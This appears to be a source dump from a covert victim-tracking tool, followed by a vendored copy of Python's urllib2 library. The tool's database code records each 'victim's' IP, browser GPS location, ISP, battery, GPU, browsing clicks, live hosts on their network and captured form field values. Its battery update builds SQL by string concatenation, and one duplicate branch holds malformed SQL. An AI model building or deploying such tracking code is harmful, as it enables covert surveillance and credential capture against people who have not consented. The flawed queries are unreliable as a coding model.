'get_data': "SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
'all_networks': "SELECT networks.* FROM networks ORDER BY id",
'get_preview': ("SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id WHERE victims.id = ?", vId),
'id_networks': ("SELECT networks.* FROM networks WHERE id = ?", vId),
'get_requests': "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
'get_sessions': "SELECT COUNT(*) AS Total FROM networks",
'get_clicks': "SELECT COUNT(*) AS Total FROM clicks",
'get_online': ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId),
'get_hostsalive': ("SELECT hostsalive.* FROM hostsalive WHERE id = ?", vId),
'get_socialimpact': ("SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network")
}.get(type, False)
def sentences_stats(self, type, vId=None):
return self.sql_execute(self.prop_sentences_stats(type, vId))
def prop_sentences_victim(self, type, data=None):
if type == 'count_victim':
t = (data,)
return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?", t)
elif type == 'count_times':
t = (data,)
return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?", t)
elif type == 'update_victim':
t = (data[0].ip, data[0].date, data[0].version, data[0].browser,
data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],)
return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t)
elif type == 'update_victim_geo':
t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code,
data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],)
return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t)
elif type == 'insert_victim':
t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser,
data[0].device, data[0].ports, data[2], data[0].cpu, 'online',)
return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t)
elif type == 'insert_victim_data':
t = (data[0], '', 'online', '{}', '', '',)
return ("INSERT INTO victims_data(id, name, last_online, gpu, donottrack, navigation_mode) VALUES(?, ?, ?, ?, ?, ? )", t)
elif type == 'insert_victim_battery':
t = (data[0], '', 0, 0, 100,)
return ("INSERT INTO victims_battery(id, charging, time_c, time_d, level) VALUES(?, ?, ?, ?, ?)", t)
elif type == 'insert_victim_geo':
t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code,
data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[0].refer,)
return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", t)
elif type == 'count_victim_network':
return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],))
elif type == 'delete_networks':
return ("DELETE FROM networks WHERE id = ?", (data[0],))
elif type == 'update_network':
return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?", (data[2], data[0], data[1],))
elif type == 'insert_networks':
t = (data[0], data[1], data[2], data[3], data[4],)
return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)", t)
elif type == 'insert_requests':
t = (data[0].sId, data[0].id, data[0].site,
data[0].fid, data[0].name, data[0].value, data[1],)
return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)", t)
elif type == 'insert_click':
return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],))
elif type == 'report_online':
return ("UPDATE victims SET status = ? WHERE id = ?", ('online', data[0],))
elif type == 'clean_online':
return ("UPDATE victims SET status = ? ", ('offline',))
elif type == 'clean_online':
return ("UPDATE victims SET status = ? WHERE ", ('offline',))
elif type == 'clean_usersnoping':
return ("UPDATE victims SET status = ? WHERE victims.id IN (SELECT id FROM victims_data WHERE julianday(CURRENT_TIMESTAMP) - julianday(replace(victims_data.last_online, ' - ', 'T')) >= ?)", ('offline', 0.2087,))
elif type == 'disconnect_victim':
return ("UPDATE victims SET status = ? WHERE id = ?", ('offline', data,))
elif type == 'location_victim':
return ("UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?", (data[1], data[2], data[0]))
elif type == 'connection_victim':
return ("UPDATE geo SET connection = ?, refer = ? WHERE id = ?", (data[1], data[2], data[0]))
elif type == 'update_battery':
return ("UPDATE victims_battery SET " + data[2] + " = ? WHERE id = ?", (data[1], data[0]))
elif type == 'update_navigationmode':
return ("UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?", (data[1], data[2], data[0]))
elif type == 'update_lastping':
return ("UPDATE victims_data SET last_online = ? WHERE id = ?", (data[1], data[0],))
elif type == 'update_name':
return ("UPDATE victims_data SET name = ? WHERE id = ?", (data[1], data[0],))
elif type == 'delete_hostalive':
return ("DELETE FROM hostsalive WHERE id = ?", (data,))
elif type == 'register_hostalive':
return ("INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)", (data[0], data[1], data[2], data[3]))
elif type == 'delete_victim':
return ("DELETE FROM victims WHERE id = ?", (data,))
elif type == 'delete_geo':
return ("DELETE FROM geo WHERE id = ?", (data,))
elif type == 'update_localIp':
return ("UPDATE victims SET ip = ? WHERE id = ?", (data[1], data[0],))
elif type == 'update_gpu':
return ("UPDATE victims_data SET gpu = ? WHERE id = ?", (data[1], data[0],))
else:
return False
def sentences_victim(self, type, data=None, sRun=1, column=0):
if sRun == 2:
return self.sql_insert(self.prop_sentences_victim(type, data))
elif sRun == 3:
return self.sql_one_row(self.prop_sentences_victim(type, data), column)
else:
return self.sql_execute(self.prop_sentences_victim(type, data))
def __del__(self):
self.conn.close()
================================================
FILE: core/dependence/__init__.py
================================================
pass
================================================
FILE: core/dependence/urllib2.py
================================================
"""An extensible library for opening URLs using a variety of protocols
The simplest way to use this module is to call the urlopen function,
which accepts a string containing a URL or a Request object (described
below). It opens the URL and returns the results as file-like
object; the returned object has some extra methods described below.
The OpenerDirector manages a collection of Handler objects that do
all the actual work. Each Handler implements a particular protocol or
option. The OpenerDirector is a composite object that invokes the
Handlers needed to open the requested URL. For example, the
HTTPHandler performs HTTP GET and POST requests and deals with
non-error returns. The HTTPRedirectHandler automatically deals with
HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler
deals with digest authentication.
urlopen(url, data=None) -- Basic usage is the same as original
urllib. pass the url and optionally data to post to an HTTP URL, and
get a file-like object back. One difference is that you can also pass
a Request instance instead of URL. Raises a URLError (subclass of
IOError); for HTTP errors, raises an HTTPError, which can also be
treated as a valid response.
build_opener -- Function that creates a new OpenerDirector instance.
Will install the default handlers. Accepts one or more Handlers as
arguments, either instances or Handler classes that it will
instantiate. If one of the argument is a subclass of the default
handler, the argument will be installed instead of the default.
install_opener -- Installs a new opener as the default opener.
objects of interest:
OpenerDirector -- Sets up the User Agent as the Python-urllib client and manages
the Handler classes, while dealing with requests and responses.
Request -- An object that encapsulates the state of a request. The
state can be as simple as the URL. It can also include extra HTTP
headers, e.g. a User-Agent.
BaseHandler --
exceptions:
URLError -- A subclass of IOError, individual protocols have their own
specific subclass.
HTTPError -- Also a valid HTTP response, so you can treat an HTTP error
as an exceptional event or valid response.
internals:
BaseHandler and parent
_call_chain conventions
Example usage:
import urllib2
# set up authentication info
authinfo = urllib2.HTTPBasicAuthHandler()
authinfo.add_password(realm='PDQ Application',
uri='https://mahler:8092/site-updates.py',
user='klem',
passwd='geheim$parole')
proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"})
# build a new opener that adds authentication and caching FTP handlers
opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler)
# install it
urllib2.install_opener(opener)
f = urllib2.urlopen('http://www.python.org/')
"""
# XXX issues:
# If an authentication error handler that tries to perform
# authentication for some reason but fails, how should the error be
# signalled? The client needs to know the HTTP error code. But if
# the handler knows that the problem was, e.g., that it didn't know
# that hash algo that requested in the challenge, it would be good to
# pass that information along to the client, too.
# ftp errors aren't handled cleanly
# check digest against correct (i.e. non-apache) implementation
# Possible extensions:
# complex proxies XXX not sure what exactly was meant by this
# abstract factory for opener
import base64
import hashlib
import http.client as httplib
import email as mimetools
import os
import posixpath
import random
import re
import socket
import sys
import time
import urllib.parse
import bisect
try:
from io import StringIO
except ImportError:
from io import StringIO
from urllib.parse import (splitport, splittag, splituser, splitpasswd, splitvalue,
splitattr, unwrap, unquote, splittype, splithost, quote)
from urllib.request import addinfourl
# from urllib import ftpwrapper
from urllib.request import url2pathname
# used in User-Agent header sent
__version__ = sys.version[:3]
_opener = None
def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
global _opener
if _opener is None:
_opener = build_opener()
return _opener.open(url, data, timeout)
def install_opener(opener):
global _opener
_opener = opener
# do these error classes make sense?
# make sure all of the IOError stuff is overridden. we just want to be
# subtypes.
class URLError(IOError):
# URLError is a sub-type of IOError, but it doesn't share any of
# the implementation. need to override __init__ and __str__.
# It sets self.args for compatibility with other EnvironmentError
# subclasses, but args doesn't have the typical format with errno in
# slot 0 and strerror in slot 1. This may be better than nothing.
def __init__(self, reason):
self.args = reason,
self.reason = reason
def __str__(self):
return '<urlopen error %s>' % self.reason
class HTTPError(URLError, addinfourl):
"""Raised when HTTP error occurs, but also acts like non-error return"""
__super_init = addinfourl.__init__
def __init__(self, url, code, msg, hdrs, fp):
self.code = code
self.msg = msg
self.hdrs = hdrs
self.fp = fp
self.filename = url
# The addinfourl classes depend on fp being a valid file
# object. In some cases, the HTTPError may not have a valid
# file object. If this happens, the simplest workaround is to
# not initialize the base classes.
if fp is not None:
self.__super_init(fp, hdrs, url, code)
def __str__(self):
return 'HTTP Error %s: %s' % (self.code, self.msg)
# since URLError specifies a .reason attribute, HTTPError should also
# provide this attribute. See issue13211 fo discussion.
@property
def reason(self):
return self.msg
# copied from cookielib.py
_cut_port_re = re.compile(r":\d+$")
def request_host(request):
"""Return request-host, as defined by RFC 2965.
Variation from RFC: returned value is lowercased, for convenient
comparison.
"""
url = request.get_full_url()
host = urllib.parse.urlparse(url)[1]
if host == "":
host = request.get_header("Host", "")
# remove port, if present
host = _cut_port_re.sub("", host, 1)
return host.lower()
class Request:
def __init__(self, url, data=None, headers={},
origin_req_host=None, unverifiable=False):
# unwrap('<URL:type://host/path>') --> 'type://host/path'
self.__original = unwrap(url)
self.__original, self.__fragment = splittag(self.__original)
self.type = None
# self.__r_type is what's left after doing the splittype
self.host = None
self.port = None
self._tunnel_host = None
self.data = data
self.headers = {}
for key, value in list(headers.items()):
self.add_header(key, value)
self.unredirected_hdrs = {}
if origin_req_host is None:
origin_req_host = request_host(self)
self.origin_req_host = origin_req_host
self.unverifiable = unverifiable
def __getattr__(self, attr):
# XXX this is a fallback mechanism to guard against these
# methods getting called in a non-standard order. this may be
# too complicated and/or unnecessary.
# XXX should the __r_XXX attributes be public?
if attr[:12] == '_Request__r_':
name = attr[12:]
if hasattr(Request, 'get_' + name):
getattr(self, 'get_' + name)()
return getattr(self, attr)
raise AttributeError(attr)
def get_method(self):
if self.has_data():
return "POST"
else:
return "GET"
# XXX these helper methods are lame
def add_data(self, data):
self.data = data
def has_data(self):
return self.data is not None
def get_data(self):
return self.data
def get_full_url(self):
if self.__fragment:
return '%s#%s' % (self.__original, self.__fragment)
else:
return self.__original
def get_type(self):
if self.type is None:
self.type, self.__r_type = splittype(self.__original)
if self.type is None:
raise ValueError("unknown url type: %s" % self.__original)
return self.type
def get_host(self):
if self.host is None:
self.host, self.__r_host = splithost(self.__r_type)
if self.host:
self.host = unquote(self.host)
return self.host
def get_selector(self):
return self.__r_host
def set_proxy(self, host, type):
if self.type == 'https' and not self._tunnel_host:
self._tunnel_host = self.host
else:
self.type = type
self.__r_host = self.__original
self.host = host
def has_proxy(self):
return self.__r_host == self.__original
def get_origin_req_host(self):
return self.origin_req_host
def is_unverifiable(self):
return self.unverifiable
def add_header(self, key, val):
# useful for something like authentication
self.headers[key.capitalize()] = val
def add_unredirected_header(self, key, val):
# will not be added to a redirected request
self.unredirected_hdrs[key.capitalize()] = val
def has_header(self, header_name):
return (header_name in self.headers or
header_name in self.unredirected_hdrs)
def get_header(self, header_name, default=None):
return self.headers.get(
header_name,
self.unredirected_hdrs.get(header_name, default))
def header_items(self):
hdrs = self.unredirected_hdrs.copy()
hdrs.update(self.headers)
return list(hdrs.items())
class OpenerDirector:
def __init__(self):
client_version = "Python-urllib/%s" % __version__
self.addheaders = [('User-agent', client_version)]
# self.handlers is retained only for backward compatibility
self.handlers = []
# manage the individual handlers
self.handle_open = {}
self.handle_error = {}
self.process_response = {}
self.process_request = {}
def add_handler(self, handler):
if not hasattr(handler, "add_parent"):
raise TypeError("expected BaseHandler instance, got %r" %
type(handler))
added = False
for meth in dir(handler):
if meth in ["redirect_request", "do_open", "proxy_open"]:
# oops, coincidental match
continue
i = meth.find("_")
protocol = meth[:i]
condition = meth[i+1:]
if condition.startswith("error"):
j = condition.find("_") + i + 1
kind = meth[j+1:]
try:
kind = int(kind)
except ValueError:
pass
lookup = self.handle_error.get(protocol, {})
self.handle_error[protocol] = lookup
elif condition == "open":
kind = protocol
lookup = self.handle_open
elif condition == "response":
kind = protocol
lookup = self.process_response
elif condition == "request":
kind = protocol
lookup = self.process_request
else:
continue
handlers = lookup.setdefault(kind, [])
if handlers:
bisect.insort(handlers, handler)
else:
handlers.append(handler)
added = True
if added:
bisect.insort(self.handlers, handler)
handler.add_parent(self)
def close(self):
# Only exists for backwards compatibility.
pass
def _call_chain(self, chain, kind, meth_name, *args):
# Handlers raise an exception if no one else should try to handle
# the request, or return None if they can't but another handler
# could. Otherwise, they return the response.
handlers = chain.get(kind, ())
for handler in handlers:
func = getattr(handler, meth_name)
result = func(*args)
if result is not None:
return result
def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
# accept a URL or a Request object
if isinstance(fullurl, str):
req = Request(fullurl, data)
else:
req = fullurl
if data is not None:
req.add_data(data)
req.timeout = timeout
protocol = req.get_type()
# pre-process request
meth_name = protocol+"_request"
for processor in self.process_request.get(protocol, []):
meth = getattr(processor, meth_name)
req = meth(req)
response = self._open(req, data)
# post-process response
meth_name = protocol+"_response"
for processor in self.process_response.get(protocol, []):
meth = getattr(processor, meth_name)
response = meth(req, response)
return response
def _open(self, req, data=None):
result = self._call_chain(self.handle_open, 'default',
'default_open', req)
if result:
return result
protocol = req.get_type()
result = self._call_chain(self.handle_open, protocol, protocol +
'_open', req)
if result:
return result
return self._call_chain(self.handle_open, 'unknown',
'unknown_open', req)
def error(self, proto, *args):
if proto in ('http', 'https'):
# XXX http[s] protocols are special-cased
dict = self.handle_error['http'] # https is not different than http
proto = args[2] # YUCK!
meth_name = 'http_error_%s' % proto
http_err = 1
orig_args = args
else:
dict = self.handle_error
meth_name = proto + '_error'
http_err = 0
args = (dict, proto, meth_name) + args
result = self._call_chain(*args)
if result:
return result
if http_err:
args = (dict, 'default', 'http_error_default') + orig_args
return self._call_chain(*args)
# XXX probably also want an abstract factory that knows when it makes
# sense to skip a superclass in favor of a subclass and when it might
# make sense to include both
def build_opener(*handlers):
"""Create an opener object from a list of handlers.
The opener will use several default handlers, including support
for HTTP, FTP and when applicable, HTTPS.
If any of the handlers passed as arguments are subclasses of the
default handlers, the default handlers will not be used.
"""
import types
def isclass(obj):
return isinstance(obj, type)
opener = OpenerDirector()
default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
HTTPDefaultErrorHandler, HTTPRedirectHandler,
FTPHandler, FileHandler, HTTPErrorProcessor]
if hasattr(httplib, 'HTTPS'):
default_classes.append(HTTPSHandler)
skip = set()
for klass in default_classes:
for check in handlers:
if isclass(check):
if issubclass(check, klass):
skip.add(klass)
elif isinstance(check, klass):
skip.add(klass)
for klass in skip:
default_classes.remove(klass)
for klass in default_classes:
opener.add_handler(klass())
for h in handlers:
if isclass(h):
h = h()
opener.add_handler(h)
return opener
class BaseHandler:
handler_order = 500
def add_parent(self, parent):
self.parent = parent
def close(self):
# Only exists for backwards compatibility
pass
def __lt__(self, other):
if not hasattr(other, "handler_order"):
# Try to preserve the old behavior of having custom classes
# inserted after default ones (works only for custom user
# classes which are not aware of handler_order).
return True
return self.handler_order < other.handler_order
class HTTPErrorProcessor(BaseHandler):
"""Process HTTP error responses."""
handler_order = 1000 # after all other processing
def http_response(self, request, response):
code, msg, hdrs = response.code, response.msg, response.info()
# According to RFC 2616, "2xx" code indicates that the client's
# request was successfully received, understood, and accepted.
if not (200 <= code < 300):
response = self.parent.error(
'http', request, response, code, msg, hdrs)
return response
https_response = http_response
class HTTPDefaultErrorHandler(BaseHandler):
def http_error_default(self, req, fp, code, msg, hdrs):
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
class HTTPRedirectHandler(BaseHandler):
# maximum number of redirections to any single URL
# this is needed because of the state that cookies introduce
max_repeats = 4
# maximum total number of redirections (regardless of URL) before
# assuming we're in a loop
max_redirections = 10
def redirect_request(self, req, fp, code, msg, headers, newurl):
"""Return a Request or None in response to a redirect.
This is called by the http_error_30x methods when a
redirection response is received. If a redirection should
take place, return a new Request to allow http_error_30x to
perform the redirect. Otherwise, raise HTTPError if no-one
else should try to handle this url. Return None if you can't
but another Handler might.
"""
m = req.get_method()
if (code in (301, 302, 303, 307) and m in ("GET", "HEAD")
or code in (301, 302, 303) and m == "POST"):
# Strictly (according to RFC 2616), 301 or 302 in response
# to a POST MUST NOT cause a redirection without confirmation
# from the user (of urllib2, in this case). In practice,
# essentially all clients do redirect in this case, so we
# do the same.
# be conciliant with URIs containing a space
newurl = newurl.replace(' ', '%20')
newheaders = dict((k, v) for k, v in list(req.headers.items())
if k.lower() not in ("content-length", "content-type")
)
return Request(newurl,
headers=newheaders,
origin_req_host=req.get_origin_req_host(),
unverifiable=True)
else:
raise HTTPError(req.get_full_url(), code, msg, headers, fp)
# Implementation note: To avoid the server sending us into an
# infinite loop, the request object needs to track what URLs we
# have already seen. Do this by adding a handler-specific
# attribute to the Request object.
def http_error_302(self, req, fp, code, msg, headers):
# Some servers (incorrectly) return multiple Location headers
# (so probably same goes for URI). Use first header.
if 'location' in headers:
newurl = headers.getheaders('location')[0]
elif 'uri' in headers:
newurl = headers.getheaders('uri')[0]
else:
return
# fix a possible malformed URL
urlparts = urllib.parse.urlparse(newurl)
if not urlparts.path:
urlparts = list(urlparts)
urlparts[2] = "/"
newurl = urllib.parse.urlunparse(urlparts)
newurl = urllib.parse.urljoin(req.get_full_url(), newurl)
# For security reasons we do not allow redirects to protocols
# other than HTTP, HTTPS or FTP.
newurl_lower = newurl.lower()
if not (newurl_lower.startswith('http://') or
newurl_lower.startswith('https://') or
newurl_lower.startswith('ftp://')):
raise HTTPError(newurl, code,
msg + " - Redirection to url '%s' is not allowed" %
newurl,
headers, fp)
# XXX Probably want to forget about the state of the current
# request, although that might interact poorly with other
# handlers that also use handler-specific request attributes
new = self.redirect_request(req, fp, code, msg, headers, newurl)
if new is None:
return
# loop detection
# .redirect_dict has a key url if url was previously visited.
if hasattr(req, 'redirect_dict'):
visited = new.redirect_dict = req.redirect_dict
if (visited.get(newurl, 0) >= self.max_repeats or
len(visited) >= self.max_redirections):
raise HTTPError(req.get_full_url(), code,
self.inf_msg + msg, headers, fp)
else:
visited = new.redirect_dict = req.redirect_dict = {}
visited[newurl] = visited.get(newurl, 0) + 1
# Don't close the fp until we are sure that we won't use it
# with HTTPError.
fp.read()
fp.close()
return self.parent.open(new, timeout=req.timeout)
http_error_301 = http_error_303 = http_error_307 = http_error_302
inf_msg = "The HTTP server returned a redirect error that would " \
"lead to an infinite loop.\n" \
"The last 30x error message was:\n"
def _parse_proxy(proxy):
"""Return (scheme, user, password, host/port) given a URL or an authority.
If a URL is supplied, it must have an authority (host:port) component.
According to RFC 3986, having an authority component means the URL must
have two slashes after the scheme:
>>> _parse_proxy('file:/ftp.example.com/')
Traceback (most recent call last):
ValueError: proxy URL with no authority: 'file:/ftp.example.com/'
The first three items of the returned tuple may be None.
Examples of authority parsing:
>>> _parse_proxy('proxy.example.com')
(None, None, None, 'proxy.example.com')
>>> _parse_proxy('proxy.example.com:3128')
(None, None, None, 'proxy.example.com:3128')
The authority component may optionally include userinfo (assumed to be
username:password):
>>> _parse_proxy('joe:password@proxy.example.com')
(None, 'joe', 'password', 'proxy.example.com')
>>> _parse_proxy('joe:password@proxy.example.com:3128')
(None, 'joe', 'password', 'proxy.example.com:3128')
Same examples, but with URLs instead:
>>> _parse_proxy('http://proxy.example.com/')
('http', None, None, 'proxy.example.com')
>>> _parse_proxy('http://proxy.example.com:3128/')
('http', None, None, 'proxy.example.com:3128')
>>> _parse_proxy('http://joe:password@proxy.example.com/')
('http', 'joe', 'password', 'proxy.example.com')
>>> _parse_proxy('http://joe:password@proxy.example.com:3128')
('http', 'joe', 'password', 'proxy.example.com:3128')
Everything after the authority is ignored:
>>> _parse_proxy('ftp://joe:password@proxy.example.com/rubbish:3128')
('ftp', 'joe', 'password', 'proxy.example.com')
Test for no trailing '/' case:
>>> _parse_proxy('http://joe:password@proxy.example.com')
('http', 'joe', 'password', 'proxy.example.com')
"""
scheme, r_scheme = splittype(proxy)
if not r_scheme.startswith("/"):
# authority
scheme = None
authority = proxy
else:
# URL
if not r_scheme.startswith("//"):
raise ValueError("proxy URL with no authority: %r" % proxy)
# We have an authority, so for RFC 3986-compliant URLs (by ss 3.
# and 3.3.), path is empty or starts with '/'
end = r_scheme.find("/", 2)
if end == -1:
end = None
authority = r_scheme[2:end]
userinfo, hostport = splituser(authority)
if userinfo is not None:
user, password = splitpasswd(userinfo)
else:
user = password = None
return scheme, user, password, hostport
class ProxyHandler(BaseHandler):
# Proxies must be in front
handler_order = 100
def __init__(self, proxies=None):
if proxies is None:
proxies = getproxies()
assert hasattr(proxies, 'has_key'), "proxies must be a mapping"
self.proxies = proxies
for type, url in list(proxies.items()):
setattr(self, '%s_open' % type,
lambda r, proxy=url, type=type, meth=self.proxy_open:
meth(r, proxy, type))
def proxy_open(self, req, proxy, type):
orig_type = req.get_type()
proxy_type, user, password, hostport = _parse_proxy(proxy)
if proxy_type is None:
proxy_type = orig_type
if req.host and proxy_bypass(req.host):
return None
if user and password:
user_pass = '%s:%s' % (unquote(user), unquote(password))
creds = base64.b64encode(user_pass).strip()
req.add_header('Proxy-authorization', 'Basic ' + creds)
hostport = unquote(hostport)
req.set_proxy(hostport, proxy_type)
if orig_type == proxy_type or orig_type == 'https':
# let other handlers take care of it
return None
else:
# need to start over, because the other handlers don't
# grok the proxy's URL type
# e.g. if we have a constructor arg proxies like so:
# {'http': 'ftp://proxy.example.com'}, we may end up turning
# a request for http://acme.example.com/a into one for
# ftp://proxy.example.com/a
return self.parent.open(req, timeout=req.timeout)
class HTTPPasswordMgr:
def __init__(self):
self.passwd = {}
def add_password(self, realm, uri, user, passwd):
# uri could be a single URI or a sequence
if isinstance(uri, str):
uri = [uri]
if not realm in self.passwd:
self.passwd[realm] = {}
for default_port in True, False:
reduced_uri = tuple(
[self.reduce_uri(u, default_port) for u in uri])
self.passwd[realm][reduced_uri] = (user, passwd)
def find_user_password(self, realm, authuri):
domains = self.passwd.get(realm, {})
for default_port in True, False:
reduced_authuri = self.reduce_uri(authuri, default_port)
for uris, authinfo in domains.items():
for uri in uris:
if self.is_suburi(uri, reduced_authuri):
return authinfo
return None, None
def reduce_uri(self, uri, default_port=True):
"""Accept authority or URI and extract only the authority and path."""
# note HTTP URLs do not have a userinfo component
parts = urllib.parse.urlsplit(uri)
if parts[1]:
# URI
scheme = parts[0]
authority = parts[1]
path = parts[2] or '/'
else:
# host or host:port
scheme = None
authority = uri
path = '/'
host, port = splitport(authority)
if default_port and port is None and scheme is not None:
dport = {"http": 80,
"https": 443,
}.get(scheme)
if dport is not None:
authority = "%s:%d" % (host, dport)
return authority, path
def is_suburi(self, base, test):
"""Check if test is below base in a URI tree
Both args must be URIs in reduced form.
"""
if base == test:
return True
if base[0] != test[0]:
return False
common = posixpath.commonprefix((base[1], test[1]))
if len(common) == len(base[1]):
return True
return False
class HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr):
def find_user_password(self, realm, authuri):
user, password = HTTPPasswordMgr.find_user_password(self, realm,
authuri)
if user is not None:
return user, password
return HTTPPasswordMgr.find_user_password(self, None, authuri)
class AbstractBasicAuthHandler:
# XXX this allows for multiple auth-schemes, but will stupidly pick
# the last one with a realm specified.
# allow for double- and single-quoted realm values
# (single quotes are a violation of the RFC, but appear in the wild)
rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
'realm=(["\'])(.*?)\\2', re.I)
# XXX could pre-emptively send auth info already accepted (RFC 2617,
# end of section 2, and section 1.2 immediately after "credentials"
# production).
def __init__(self, password_mgr=None):
if password_mgr is None:
password_mgr = HTTPPasswordMgr()
self.passwd = password_mgr
self.add_password = self.passwd.add_password
self.retried = 0
def reset_retry_count(self):
self.retried = 0
def http_error_auth_reqed(self, authreq, host, req, headers):
# host may be an authority (without userinfo) or a URL with an
# authority
# XXX could be multiple headers
authreq = headers.get(authreq, None)
if self.retried > 5:
# retry sending the username:password 5 times before failing.
raise HTTPError(req.get_full_url(), 401, "basic auth failed",
headers, None)
else:
self.retried += 1
if authreq:
mo = AbstractBasicAuthHandler.rx.search(authreq)
if mo:
scheme, quote, realm = mo.groups()
if scheme.lower() == 'basic':
response = self.retry_http_basic_auth(host, req, realm)
if response and response.code != 401:
self.retried = 0
return response
def retry_http_basic_auth(self, host, req, realm):
user, pw = self.passwd.find_user_password(realm, host)
if pw is not None:
raw = "%s:%s" % (user, pw)
auth = 'Basic %s' % base64.b64encode(raw).strip()
if req.headers.get(self.auth_header, None) == auth:
return None
req.add_unredirected_header(self.auth_header, auth)
return self.parent.open(req, timeout=req.timeout)
else:
return None
class HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):
auth_header = 'Authorization'
def http_error_401(self, req, fp, code, msg, headers):
url = req.get_full_url()
response = self.http_error_auth_reqed('www-authenticate',
url, req, headers)
self.reset_retry_count()
return response
class ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):
auth_header = 'Proxy-authorization'
def http_error_407(self, req, fp, code, msg, headers):
# http_error_auth_reqed requires that there is no userinfo component in
# authority. Assume there isn't one, since urllib2 does not (and
# should not, RFC 3986 s. 3.2.1) support requests for URLs containing
# userinfo.
authority = req.get_host()
response = self.http_error_auth_reqed('proxy-authenticate',
authority, req, headers)
self.reset_retry_count()
return response
def randombytes(n):
"""Return n random bytes."""
# Use /dev/urandom if it is available. Fall back to random module
# if not. It might be worthwhile to extend this function to use
# other platform-specific mechanisms for getting random bytes.
if os.path.exists("/dev/urandom"):
f = open("/dev/urandom")
s = f.read(n)
f.close()
return s
else:
L = [chr(random.randrange(0, 256)) for i in range(n)]
return "".join(L)
class AbstractDigestAuthHandler:
# Digest authentication is specified in RFC 2617.
# XXX The client does not inspect the Authentication-Info header
# in a successful response.
# XXX It should be possible to test this implementation against
# a mock server that just generates a static set of challenges.
# XXX qop="auth-int" supports is shaky
def __init__(self, passwd=None):
if passwd is None:
passwd = HTTPPasswordMgr()
self.passwd = passwd
self.add_password = self.passwd.add_password
self.retried = 0
self.nonce_count = 0
self.last_nonce = None
def reset_retry_count(self):
self.retried = 0
def http_error_auth_reqed(self, auth_header, host, req, headers):
authreq = headers.get(auth_header, None)
if self.retried > 5:
# Don't fail endlessly - if we failed once, we'll probably
# fail a second time. Hm. Unless the Password Manager is
# prompting for the information. Crap. This isn't great
# but it's better than the current 'repeat until recursion
# depth exceeded' approach <wink>
raise HTTPError(req.get_full_url(), 401, "digest auth failed",
headers, None)
else:
self.retried += 1
if authreq:
scheme = authreq.split()[0]
if scheme.lower() == 'digest':
return self.retry_http_digest_auth(req, authreq)
